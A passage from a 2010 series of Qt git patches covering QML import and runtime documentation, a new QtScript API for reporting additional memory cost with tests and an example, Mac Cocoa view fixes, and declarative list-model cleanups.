"http://url/.../" 1.0 \endcode -Installed and remote files \e must be referred to by version information described above, -local files \e may have it. - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -use those identifiers. - +This works the same as for relative directory imports, except that the target location contain a QML module (\e must +include a \c qmldir file), and a version qualifier must be given. \section1 Namespaces - Named Imports @@ -185,6 +219,17 @@ modules can be imported into the global namespace: import Qt 4.6 as Nokia import Ovi 1.0 as Nokia \endcode + +There is one special module, called Qt, which contains all of the types that are part of +Qt Declarative. While it still needs to be imported, this module can be used in all QML +files. + +While import statements are need to make any types available in QML, the directory of the +current file is implicitly loaded. This is the exact same as if you had added 'import "."' to +every QML file. The effect of this is that you can automatically use Types defined in C++ plugins +or QML files if they reside in the same directory. + + */ /* diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc index 6d3e109..710a030 100644 --- a/doc/src/declarative/qmlruntime.qdoc +++ b/doc/src/declarative/qmlruntime.qdoc @@ -41,32 +41,82 @@ /*! \page qmlruntime.html - \title Qt Declarative UI Viewer (qmlviewer) + \title Qt Declarative UI Runtime \ingroup qttools \keyword qmlviewer - This page documents the \e{Declarative UI Viewer} for the Qt GUI - toolkit. The \c qmlviewer reads a declarative user interface definition + This page documents the \e{Declarative UI Runtime} for the Qt GUI + toolkit, and the \c qml executable which can be used to run apps + written for the runtime. The \c qml executable reads a declarative user interface definition (\c .qml) file and displays the user interface it describes. - qmlviewer is a development tool. It is not intended to be - installed in a production environment. + QML is a runtime, as you can run plain qml files which pull in their required modules. + To run apps with the QML runtime, you can either start the runtime + from your on application (using a QDeclarativeView) or with the simple \c qml application. + The \c qml application can be + installed in a production environment, assuming that it is not already + present in the system. It is generally packaged alongside Qt. - \section1 Options + To deploy an application using the QML runtime, you have two options. You can either write your + own Qt application including a QDeclarative view and deploy it the same as + any other Qt application (not discussed further on this page). Alternatively you can write a main QML file for + your application, and run your application using the \c qml executable. If a qml file + is passed as an argument to the \c qml executable, it will automatically run it. - When run with the \c -help option, qmlviewer shows available options. + Deploying a QML application via the \c qml executable allows for QML only deployments, but can also + include custom C++ modules just as easily. Below is an example of how you might structure + a complex application deployed via the qml runtime, it is a listing of the files that would + be included in the deployment package. - \section1 Dummy Data + \code + MyApp.qml + MyAppCore/qmldir + MyAppCore/libMyAppCore.so + MyAppCore/MyAppCore.dll + MyAppCore/AnAppElement.qml + MyAppCore/AnotherElement.qml + MyAppCore/images/Logo.png + OtherModule/qmldir + OtherModule/OtherElement.qml + \endcode + + Note that this example is for deploying the example to both windows and linux. You will still need to compile the C++ + modules for each target platform, but you can deploy multiple versions of the modules across platforms with different naming conventions, + as the appropriate module file is chosen based on platform naming conventions. The C++ + modules must contain a QDeclarativeExtentionPlugin subclass. + + The application would be executed either with your own application, the command 'qml MyApp.qml' or by + opening the qml file if your system has the \c qml executable registered as the handler for qml files. The MyApp.qml file would have access + to all of the deployed types using the import statements such as the following: - One use of qmlviewer is to allow QML files to be viewed stand-alone, - rather than being loaded from within a Qt program. Qt applications will - usually bind objects and properties into the execution context before - running the QML. To stand-in for such bindings, you can provide dummy - data: create a directory called "dummydata" in the same directory as + \code + import "MyAppCore" + import "OtherModule" 1.0 as Other + \endcode + + \section1 \c qml application functionality + The \c qml application implements some additional functionality to help it serve the role of a launcher + for myriad applications. If you implement your own launcher application, you may also wish to reimplement + some or all of this functionality. However, much of this functionality is intended to aid the prototyping of + qml applications and may not be necessary for a deployed application. + + \section2 Options + + When run with the \c -help option, qml shows available options. + + \section2 Dummy Data + + The secondary use of the qml runtime is to allow QML files to be viewed with + dummy data. This is useful when prototyping the UI, as the dummy data can + be later replaced with actual data and bindings from a C++ plugin. + To provide dummy data: create a directory called "dummydata" in the same directory as the target QML file and create files there with the "qml" extension. All such files will be loaded as QML objects and bound to the root context as a property with the name of the file (without ".qml"). + To replace this with real data, you simply bind the real object to + the root context in C++. + For example, if the Qt application has a "clock.time" property that is a qreal from 0 to 86400 representing the number of seconds since midnight, dummy data for this could be provided by \c dummydata/clock.qml: @@ -76,9 +126,9 @@ Any QML can be used in the dummy data files. You could even animate the fictional data! - \section1 Screen Orientation + \section2 Screen Orientation - A special piece of dummy data which is integrated into the viewer is + A special piece of dummy data which is integrated into the runtime is a simple orientation property. The orientation can be set via the settings menu in the application, or by pressing Ctrl+T to toggle it. @@ -96,4 +146,8 @@ } \endcode + This allows your application to respond to the orientation of the screen changing. The runtime + will automatically update this on some platforms (currently the N900 only) to match the physical + screen's orientation. On other plaforms orientation changes will only happen when explictly asked for. + */ -- cgit v0.12 From a701a744a1e292803823c43aad4d81a9cff25a32 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 25 Mar 2010 09:33:17 +0100 Subject: Forgot to add a file. Forgot to add these, the primary changes, to commit 870dbc7542beb07b84378f356cbe568a2ae8b7e1 --- src/declarative/qml/qdeclarativeengine.cpp | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d4872e2..164fab7 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1390,7 +1390,9 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { foreach (const QDeclarativeDirParser::Component &c, qmldircomponents) { if (c.typeName == typeName) { typeWasDeclaredInQmldir = true; - if (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion)) { + + // importing version -1 means import ALL versions + if ((vmaj == -1) || (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion))) { QUrl candidate = url.resolved(QUrl(c.fileName)); if (c.internal && base) { if (base->resolved(QUrl(c.fileName)) != candidate) @@ -1479,10 +1481,10 @@ public: QStringList paths; - if (!base.isEmpty()) { - QString baseDir = QFileInfo(toLocalFileOrQrc(base)).path(); - paths += baseDir; - } +// if (!base.isEmpty()) { +// QString baseDir = QFileInfo(toLocalFileOrQrc(base)).path(); +// paths += baseDir; +// } QString applicationDirPath = QCoreApplication::applicationDirPath(); if (!applicationDirPath.isEmpty()) @@ -1542,9 +1544,9 @@ public: // user import paths QStringList paths; // base.. - QString localFileOrQrc = toLocalFileOrQrc(base); - QString localFileOrQrcPath = QFileInfo(localFileOrQrc).path(); - paths += localFileOrQrcPath; +// QString localFileOrQrc = toLocalFileOrQrc(base); +// QString localFileOrQrcPath = QFileInfo(localFileOrQrc).path(); +// paths += localFileOrQrcPath; paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; QString applicationDirPath = QCoreApplication::applicationDirPath(); -- cgit v0.12 From 60eac381b621a92ab057ee6e5e55bcd50f5dc629 Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Thu, 25 Mar 2010 19:04:29 +1000 Subject: don't just return the first key here. this fixes associating.. --- src/plugins/bearer/corewlan/qcorewlanengine.mm | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 0e9e4bd..a366d00 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -200,7 +200,6 @@ void QCoreWlanEngine::connectToId(const QString &id) const QString idHash2 = QString::number(qHash(QLatin1String("corewlan:") + getNetworkNameFromSsid(ptr->name))); bool using8021X = false; - if (idHash2 != id) { NSArray *array = [CW8021XProfile allUser8021XProfiles]; @@ -695,9 +694,7 @@ QString QCoreWlanEngine::getNetworkNameFromSsid(const QString &ssid) if(ij.key() == ssid) { return i.key(); } - } - return map.key(ssid); } return QString(); } -- cgit v0.12 From 977999bf52983013dcc8afdb7931816ccdbba994 Mon Sep 17 00:00:00 2001 From: Fabien Freling Date: Wed, 24 Mar 2010 17:53:17 +0100 Subject: Fix misspelling in function name. --- src/gui/kernel/qwidget_mac.mm | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index ef7373c..3d86936 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -3933,7 +3933,7 @@ void QWidgetPrivate::stackUnder_sys(QWidget *w) widget, either by scrolling its contents or repainting, depending on the WA_StaticContents flag */ -static void qt_mac_update_widget_posisiton(QWidget *q, QRect oldRect, QRect newRect) +static void qt_mac_update_widget_position(QWidget *q, QRect oldRect, QRect newRect) { #ifndef QT_MAC_USE_COCOA HIRect bounds = CGRectMake(newRect.x(), newRect.y(), @@ -4195,7 +4195,7 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) } } - qt_mac_update_widget_posisiton(q, oldRect, xrect); + qt_mac_update_widget_position(q, oldRect, xrect); if (jump) q->update(); -- cgit v0.12 From 062af5a146e4875ace293823452347a572eda14f Mon Sep 17 00:00:00 2001 From: Fabien Freling Date: Wed, 24 Mar 2010 17:54:31 +0100 Subject: Add experimental support for StaticContents in Mac OS X. Reviewed-by: Morten Sorvig --- src/gui/kernel/qcocoaview_mac.mm | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index 0e378f9..06eb7ff 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -197,6 +197,7 @@ static int qCocoaViewCount = 0; if (self) { [self finishInitWithQWidget:widget widgetPrivate:widgetprivate]; } + [self setFocusRingType:NSFocusRingTypeNone]; composingText = new QString(); #ifdef ALIEN_DEBUG @@ -445,7 +446,11 @@ static int qCocoaViewCount = 0; return YES; } -- (BOOL) preservesContentDuringLiveResize; +// We preserve the content of the view if WA_StaticContents is defined. +// +// More info in the Cocoa documentation: +// http://developer.apple.com/mac/library/documentation/cocoa/conceptual/CocoaViewsGuide/Optimizing/Optimizing.html +- (BOOL) preservesContentDuringLiveResize { return qwidget->testAttribute(Qt::WA_StaticContents); } @@ -475,6 +480,18 @@ static int qCocoaViewCount = 0; } } +// We catch the 'setNeedsDisplay:' message in order to avoid a useless full repaint. +// During the resize, the top of the widget is repainted, probably because of the +// change of coordinate space (Quartz vs Qt). This is then followed by this message: +// -[NSView _setNeedsDisplayIfTopLeftChanged] +// which force a full repaint by sending the message 'setNeedsDisplay:'. +// That is what we are preventing here. +- (void)setNeedsDisplay:(BOOL)flag { + if (![self inLiveResize] || !(qwidget->testAttribute(Qt::WA_StaticContents))) { + [super setNeedsDisplay:flag]; + } +} + - (void)drawRect:(NSRect)aRect { if (!qwidget) -- cgit v0.12 From 2fdfb3e0285ac535b63548d208da6dcae71105cc Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 25 Mar 2010 14:45:51 +0100 Subject: QtScript: Add API for reporting additional memory costs QScriptEngine::reportAdditionalMemoryCost(int). This function provides the ability to give a hint to the engine that it should perhaps trigger garbage collection sooner rather than later. For example, if you've implemented a JS ByteArray class that wraps a QByteArray, and a user constructs a few hundred temporary ByteArray objects of large sizes, failure to report the additional memory cost may cause the application's memory consumption to grow and grow (because the script engine thinks they are "cheap" objects, the GC won't kick in). Reporting the correct size can be difficult (or impossible) in some cases. For example, it's difficult to predict the total amount of system memory & resources consumed by a QImage. But even reporting a heuristic / approximate cost can be better than reporting no cost. Task-number: QTBUG-6238 Reviewed-by: Simon Hausmann --- src/script/api/qscriptengine.cpp | 61 ++++++++++++++++++++++++-- src/script/api/qscriptengine.h | 1 + src/script/api/qscriptengine_p.h | 1 + src/script/api/qscriptvalue.cpp | 2 + tests/auto/qscriptengine/tst_qscriptengine.cpp | 19 ++++++++ 5 files changed, 81 insertions(+), 3 deletions(-) diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp index 2650d7f..b322523 100644 --- a/src/script/api/qscriptengine.cpp +++ b/src/script/api/qscriptengine.cpp @@ -260,6 +260,22 @@ QT_BEGIN_NAMESPACE whether an engine is currently running a script by calling isEvaluating(). + \section1 Garbage Collection + + Qt Script objects may be garbage collected when they are no longer + referenced. There is no guarantee as to when automatic garbage + collection will take place. + + The collectGarbage() function can be called to explicitly request + garbage collection. + + The reportAdditionalMemoryCost() function can be called to indicate + that a Qt Script object occupies memory that isn't managed by the + scripting environment. Reporting the additional cost makes it more + likely that the garbage collector will be triggered. This can be + useful, for example, when many custom, native Qt Script objects are + allocated. + \section1 Core Debugging/Tracing Facilities Since Qt 4.4, you can be notified of events pertaining to script @@ -1193,6 +1209,12 @@ void QScriptEnginePrivate::collectGarbage() globalData->heap.collectAllGarbage(); } +void QScriptEnginePrivate::reportAdditionalMemoryCost(int size) +{ + if (size > 0) + globalData->heap.reportExtraMemoryCost(size); +} + QScript::TimeoutCheckerProxy *QScriptEnginePrivate::timeoutChecker() const { return static_cast(globalData->timeoutChecker); @@ -1990,7 +2012,7 @@ QScriptValue QScriptEngine::newRegExp(const QRegExp ®exp) prototype; otherwise, the prototype will be the Object prototype object. - \sa setDefaultPrototype(), QScriptValue::toVariant() + \sa setDefaultPrototype(), QScriptValue::toVariant(), reportAdditionalMemoryCost() */ QScriptValue QScriptEngine::newVariant(const QVariant &value) { @@ -2021,6 +2043,8 @@ QScriptValue QScriptEngine::newVariant(const QVariant &value) true), you can pass QScriptContext::thisObject() (the default constructed script object) to this function to initialize the new object. + + \sa reportAdditionalMemoryCost() */ QScriptValue QScriptEngine::newVariant(const QScriptValue &object, const QVariant &value) @@ -2051,7 +2075,7 @@ QScriptValue QScriptEngine::newVariant(const QScriptValue &object, wrapper object (either by script code or C++) will result in a script exception. - \sa QScriptValue::toQObject() + \sa QScriptValue::toQObject(), reportAdditionalMemoryCost() */ QScriptValue QScriptEngine::newQObject(QObject *object, ValueOwnership ownership, const QObjectWrapOptions &options) @@ -2085,6 +2109,8 @@ QScriptValue QScriptEngine::newQObject(QObject *object, ValueOwnership ownership (QScriptContext::isCalledAsConstructor() returns true), you can pass QScriptContext::thisObject() (the default constructed script object) to this function to initialize the new object. + + \sa reportAdditionalMemoryCost() */ QScriptValue QScriptEngine::newQObject(const QScriptValue &scriptObject, QObject *qtObject, @@ -2138,7 +2164,7 @@ QScriptValue QScriptEngine::newObject() \a data, if specified, is set as the internal data of the new object (using QScriptValue::setData()). - \sa QScriptValue::scriptClass() + \sa QScriptValue::scriptClass(), reportAdditionalMemoryCost() */ QScriptValue QScriptEngine::newObject(QScriptClass *scriptClass, const QScriptValue &data) @@ -3844,6 +3870,8 @@ QStringList QScriptEngine::importedExtensions() const been created). However, you can call this function to explicitly request that garbage collection should be performed as soon as possible. + + \sa reportAdditionalMemoryCost() */ void QScriptEngine::collectGarbage() { @@ -3852,6 +3880,33 @@ void QScriptEngine::collectGarbage() } /*! + \since 4.7 + + Reports an additional memory cost of the given \a size, measured in + bytes, to the garbage collector. + + This function can be called to indicate that a Qt Script object has + memory associated with it that isn't managed by Qt Script itself. + Reporting the additional cost makes it more likely that the garbage + collector will be triggered. + + Note that if the additional memory is shared with objects outside + the scripting environment, the cost should not be reported, since + collecting the Qt Script object would not cause the memory to be + freed anyway. + + Negative \a size values are ignored, i.e. this function can't be + used to report that the additional memory has been deallocated. + + \sa collectGarbage() +*/ +void QScriptEngine::reportAdditionalMemoryCost(int size) +{ + Q_D(QScriptEngine); + d->reportAdditionalMemoryCost(size); +} + +/*! Sets the interval between calls to QCoreApplication::processEvents to \a interval milliseconds. diff --git a/src/script/api/qscriptengine.h b/src/script/api/qscriptengine.h index 76461bc..3212ed5 100644 --- a/src/script/api/qscriptengine.h +++ b/src/script/api/qscriptengine.h @@ -233,6 +233,7 @@ public: QStringList importedExtensions() const; void collectGarbage(); + void reportAdditionalMemoryCost(int size); void setProcessEventsInterval(int interval); int processEventsInterval() const; diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h index 47e5d8a..70ab7c9 100644 --- a/src/script/api/qscriptengine_p.h +++ b/src/script/api/qscriptengine_p.h @@ -244,6 +244,7 @@ public: void mark(JSC::MarkStack& markStack); bool isCollecting() const; void collectGarbage(); + void reportAdditionalMemoryCost(int size); //flags that we set on the return value register for native function. (ie when codeBlock is 0) enum ContextFlags { diff --git a/src/script/api/qscriptvalue.cpp b/src/script/api/qscriptvalue.cpp index 3fe0e7d..4cd84a4 100644 --- a/src/script/api/qscriptvalue.cpp +++ b/src/script/api/qscriptvalue.cpp @@ -1970,6 +1970,8 @@ QScriptValue QScriptValue::data() const this function to set object-specific data that won't be directly accessible to scripts, but may be retrieved in C++ using the data() function. + + \sa QScriptEngine::reportAdditionalMemoryCost() */ void QScriptValue::setData(const QScriptValue &data) { diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index e71d7c3..0615b63 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -121,6 +121,7 @@ private slots: void castWithPrototypeChain(); void castWithMultipleInheritance(); void collectGarbage(); + void reportAdditionalMemoryCost(); void gcWithNestedDataStructure(); void processEventsWhileRunning(); void throwErrorFromProcessEvents(); @@ -2369,6 +2370,24 @@ void tst_QScriptEngine::collectGarbage() QVERIFY(ptr == 0); } +void tst_QScriptEngine::reportAdditionalMemoryCost() +{ + QScriptEngine eng; + for (int x = 0; x < 1000; ++x) { + eng.reportAdditionalMemoryCost(0); + eng.reportAdditionalMemoryCost(10); + eng.reportAdditionalMemoryCost(1000); + eng.reportAdditionalMemoryCost(10000); + eng.reportAdditionalMemoryCost(100000); + eng.reportAdditionalMemoryCost(1000000); + eng.reportAdditionalMemoryCost(10000000); + eng.reportAdditionalMemoryCost(-1); + eng.reportAdditionalMemoryCost(-1000); + QScriptValue obj = eng.newObject(); + eng.collectGarbage(); + } +} + void tst_QScriptEngine::gcWithNestedDataStructure() { QScriptEngine eng; -- cgit v0.12 From f4da9f9b347d296bc23e44e47e0a6883d5ad41ea Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 25 Mar 2010 15:50:38 +0100 Subject: Use the new memory cost reporting API in QtScript Custom Class example Also describe its purpose in the example doc. --- doc/src/examples/qtscriptcustomclass.qdoc | 13 +++++++++++++ examples/script/customclass/bytearrayclass.cpp | 17 +++++++++++++++-- examples/script/customclass/bytearrayclass.h | 2 ++ 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/doc/src/examples/qtscriptcustomclass.qdoc b/doc/src/examples/qtscriptcustomclass.qdoc index f825ad9..028c7a6 100644 --- a/doc/src/examples/qtscriptcustomclass.qdoc +++ b/doc/src/examples/qtscriptcustomclass.qdoc @@ -120,6 +120,8 @@ this ByteArrayClass object, so that the constructor, when it is invoked, can extract the pointer and use it to create a new \c{ByteArray} object. + \snippet examples/script/customclass/bytearrayclass.cpp 10 + \snippet examples/script/customclass/bytearrayclass.cpp 1 The newInstance() function isn't part of the QScriptClass API; its purpose is to offer @@ -128,6 +130,11 @@ QScriptEngine::newObject() will call the prototype() function of our class, ensuring that the prototype of the new object will be the standard \c{ByteArray} prototype. + QScriptEngine::reportAdditionalMemoryCost() is called to inform the script engine of the + memory occupied by the QByteArray. This gives the garbage collector a hint that it should + perhaps trigger more frequently, possibly freeing up memory associated with large ByteArray + objects that are no longer in use. + \snippet examples/script/customclass/bytearrayclass.cpp 2 construct() is the native function that will act as a constructor for \c{ByteArray} @@ -159,6 +166,12 @@ array index that was calculated in the queryProperty() function, enlarge the array if necessary, and write the given value to the array. + \snippet examples/script/customclass/bytearrayclass.cpp 9 + + The resize() function is a helper function that resizes the QByteArray to a new size, and, + if the new size is greater than the old, reports the additional memory cost to the script + engine. + \snippet examples/script/customclass/bytearrayclass.cpp 6 The propertyFlags() reimplementation specifies that the \c{length} property can't be deleted, diff --git a/examples/script/customclass/bytearrayclass.cpp b/examples/script/customclass/bytearrayclass.cpp index 1dbf2d4..239b4b4 100644 --- a/examples/script/customclass/bytearrayclass.cpp +++ b/examples/script/customclass/bytearrayclass.cpp @@ -148,13 +148,13 @@ void ByteArrayClass::setProperty(QScriptValue &object, if (!ba) return; if (name == length) { - ba->resize(value.toInt32()); + resize(*ba, value.toInt32()); } else { qint32 pos = id; if (pos < 0) return; if (ba->size() <= pos) - ba->resize(pos + 1); + resize(*ba, pos + 1); (*ba)[pos] = char(value.toInt32()); } } @@ -194,10 +194,13 @@ QScriptValue ByteArrayClass::constructor() return ctor; } +//! [10] QScriptValue ByteArrayClass::newInstance(int size) { + engine()->reportAdditionalMemoryCost(size); return newInstance(QByteArray(size, /*ch=*/0)); } +//! [10] //! [1] QScriptValue ByteArrayClass::newInstance(const QByteArray &ba) @@ -235,6 +238,16 @@ void ByteArrayClass::fromScriptValue(const QScriptValue &obj, QByteArray &ba) ba = qvariant_cast(obj.data().toVariant()); } +//! [9] +void ByteArrayClass::resize(QByteArray &ba, int newSize) +{ + int oldSize = ba.size(); + ba.resize(newSize); + if (newSize > oldSize) + engine()->reportAdditionalMemoryCost(newSize - oldSize); +} +//! [9] + ByteArrayClassPropertyIterator::ByteArrayClassPropertyIterator(const QScriptValue &object) diff --git a/examples/script/customclass/bytearrayclass.h b/examples/script/customclass/bytearrayclass.h index f185754..3f7ce22 100644 --- a/examples/script/customclass/bytearrayclass.h +++ b/examples/script/customclass/bytearrayclass.h @@ -82,6 +82,8 @@ private: static QScriptValue toScriptValue(QScriptEngine *eng, const QByteArray &ba); static void fromScriptValue(const QScriptValue &obj, QByteArray &ba); + void resize(QByteArray &ba, int newSize); + QScriptString length; QScriptValue proto; QScriptValue ctor; -- cgit v0.12 From 3343298448da3f2546b0708670effb798f762c5c Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 25 Mar 2010 16:38:40 +0100 Subject: Use QTRY_COMPARE after QTest::qWaitForWindowShown() Apparently it's possible that the window has been shown but haven't received a paint event yet. --- .../declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index e623df6..febcec3 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -677,7 +677,7 @@ void tst_qdeclarativetextinput::setHAlignClearCache() view.show(); QApplication::setActiveWindow(&view); QTest::qWaitForWindowShown(&view); - QCOMPARE(input.nbPaint, 1); + QTRY_COMPARE(input.nbPaint, 1); input.setHAlign(QDeclarativeTextInput::AlignRight); QApplication::processEvents(); //Changing the alignment should trigger a repaint -- cgit v0.12 From de85d147d38acb1d9dd3feacf968c72cb74490e8 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 09:12:26 +1000 Subject: Ensure both qMin() parameters are the same type. --- src/declarative/graphicsitems/qdeclarativepathview.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index f3d6137..c98b006 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -772,7 +772,7 @@ void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) qreal v2 = velocity*velocity; qreal accel = d->deceleration; // + 0.25 to encourage moving at least one item in the flick direction - qreal dist = qMin(qreal(d->model->count()-1), d->model->count() * v2 / (accel * 2.0) + 0.25); + qreal dist = qMin(qreal(d->model->count()-1), qreal(d->model->count()) * v2 / (accel * 2.0) + 0.25); // round to nearest item. if (velocity > 0.) dist = qRound(dist + d->offset) - d->offset; -- cgit v0.12 From 75e793d0ff07fd094918cf00c4cd0e10dad6bfa8 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 25 Mar 2010 10:56:29 +1000 Subject: Remove int parameter from ListModel countChanged() to be consistent with other classes with countChanged() signals. --- src/declarative/util/qdeclarativelistmodel.cpp | 6 +++--- src/declarative/util/qdeclarativelistmodel_p.h | 2 +- src/declarative/util/qdeclarativelistmodelworkeragent.cpp | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 3e25234..3904458 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -365,7 +365,7 @@ void QDeclarativeListModel::clear() if (!m_isWorkerCopy) { emit itemsRemoved(0, cleared); - emit countChanged(0); + emit countChanged(); } } @@ -390,7 +390,7 @@ void QDeclarativeListModel::remove(int index) if (!m_isWorkerCopy) { emit itemsRemoved(index, 1); - emit countChanged(this->count()); + emit countChanged(); } } @@ -424,7 +424,7 @@ void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap) bool ok = m_flat ? m_flat->insert(index, valuemap) : m_nested->insert(index, valuemap); if (ok && !m_isWorkerCopy) { emit itemsInserted(index, 1); - emit countChanged(this->count()); + emit countChanged(); } } diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h index 6a0426b..d09062e 100644 --- a/src/declarative/util/qdeclarativelistmodel_p.h +++ b/src/declarative/util/qdeclarativelistmodel_p.h @@ -91,7 +91,7 @@ public: QDeclarativeListModelWorkerAgent *agent(); Q_SIGNALS: - void countChanged(int); + void countChanged(); private: friend class QDeclarativeListModelParser; diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp index 2951262..0e38632 100644 --- a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp +++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp @@ -229,7 +229,7 @@ bool QDeclarativeListModelWorkerAgent::event(QEvent *e) } if (cc) - emit m_orig->countChanged(m_copy->count()); + emit m_orig->countChanged(); } } -- cgit v0.12 From 7b42ee836b8cc1ae345d1d24d4419f0c6b77c97d Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 25 Mar 2010 10:58:56 +1000 Subject: Clean up --- src/declarative/util/qdeclarativexmllistmodel.cpp | 20 -------------------- 1 file changed, 20 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index f7beeaa..e148469 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -173,22 +173,6 @@ public: return job.queryId; } - QList > modelData() { - QMutexLocker locker(&m_mutex); - return m_modelData; - } - - QList insertedItemRanges() { - QMutexLocker locker(&m_mutex); - return m_insertedItemRanges; - } - - QList removedItemRanges() { - QMutexLocker locker(&m_mutex); - return m_removedItemRanges; - } - - Q_SIGNALS: void queryCompleted(const QDeclarativeXmlQueryResult &); @@ -254,13 +238,10 @@ void QDeclarativeXmlQuery::doQueryJob() query.setQuery(job.namespaces + job.query); query.evaluateTo(&r); - //qDebug() << r; - //always need a single root element QByteArray xml = "\n" + r.toUtf8() + ""; QBuffer b(&xml); b.open(QIODevice::ReadOnly); - //qDebug() << xml; QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces; QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + @@ -278,7 +259,6 @@ void QDeclarativeXmlQuery::doQueryJob() if (item.isAtomicValue()) count = item.toAtomicValue().toInt(); } - //qDebug() << count; job.data = xml; m_prefix = namespaces + prefix + QLatin1Char('/'); -- cgit v0.12 From 778e1fd21f5a6c94656dfbb99a7613656d0569a1 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 25 Mar 2010 14:44:35 +1000 Subject: Fix where data() is called before xml is loaded. Also add status tests. --- src/declarative/util/qdeclarativexmllistmodel.cpp | 6 ++- .../tst_qdeclarativexmllistmodel.cpp | 43 ++++++++++++++++++++++ 2 files changed, 47 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index e148469..3e08854 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -532,7 +532,7 @@ QHash QDeclarativeXmlListModel::data(int index, const QList & for (int i = 0; i < roles.size(); ++i) { int role = roles.at(i); int roleIndex = d->roles.indexOf(role); - rv.insert(role, roleIndex == -1 ? QVariant() : d->data.at(roleIndex).at(index)); + rv.insert(role, roleIndex == -1 ? QVariant() : d->data.value(roleIndex).value(index)); } return rv; } @@ -541,7 +541,7 @@ QVariant QDeclarativeXmlListModel::data(int index, int role) const { Q_D(const QDeclarativeXmlListModel); int roleIndex = d->roles.indexOf(role); - return (roleIndex == -1) ? QVariant() : d->data.at(roleIndex).at(index); + return (roleIndex == -1) ? QVariant() : d->data.value(roleIndex).value(index); } /*! @@ -728,6 +728,8 @@ void QDeclarativeXmlListModel::componentComplete() Otherwise, items are only added if the model does not already contain items with matching key role values. + + \sa XmlRole::isKey */ void QDeclarativeXmlListModel::reload() { diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index 81cc922..e3aa5cc 100644 --- 